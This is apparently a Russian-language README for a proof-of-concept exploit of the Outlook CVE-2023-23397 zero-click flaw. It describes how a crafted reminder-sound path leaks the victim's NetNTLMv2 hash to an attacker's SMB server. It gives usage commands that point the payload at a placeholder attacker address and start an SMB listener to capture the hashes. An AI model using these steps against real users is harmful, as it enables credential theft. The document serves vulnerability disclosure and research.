CVE-2023-23397

Простой и грязный PoC уязвимости CVE-2023-23397, затрагивающей толстый клиент Outlook.

Описание

В Outlook отсутствует контроль над пользовательским вводом, который позволяет настраивать звук напоминаний о собраниях и событиях. Злоумышленник может заставить жертву подключиться к своему серверу без каких-либо действий со стороны пользователя (уязвимость нулевого клика).

Злоумышленник, эксплуатирующий эту уязвимость, получает дайджест NetNTLMv2 на основе пароля захваченного пользователя через SMB-запрос. Запрос срабатывает сразу после того, как письмо попадает во входящие.

Что делает PoC?

1. Генерирует .msg полезную нагрузку.
2. Отправляет её по электронной почте с помощью пользовательского SMTP-сервера.

Использование

В одном сеансе:

python CVE-2023-23397.py

usage: CVE-2023-23397.py [-h] -p PATH
CVE-2023-23397.py: error: the following arguments are required: -p/--path

python CVE-2023-23397.py --path '\\yourip\'

Во втором сеансе (smbserver или responder, как вам удобно).

smbserver.py -smb2support SHARE .

Демонстрация (ручной PoC)

Поясняющее видео (на французском языке)

Оригинальная статья

https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/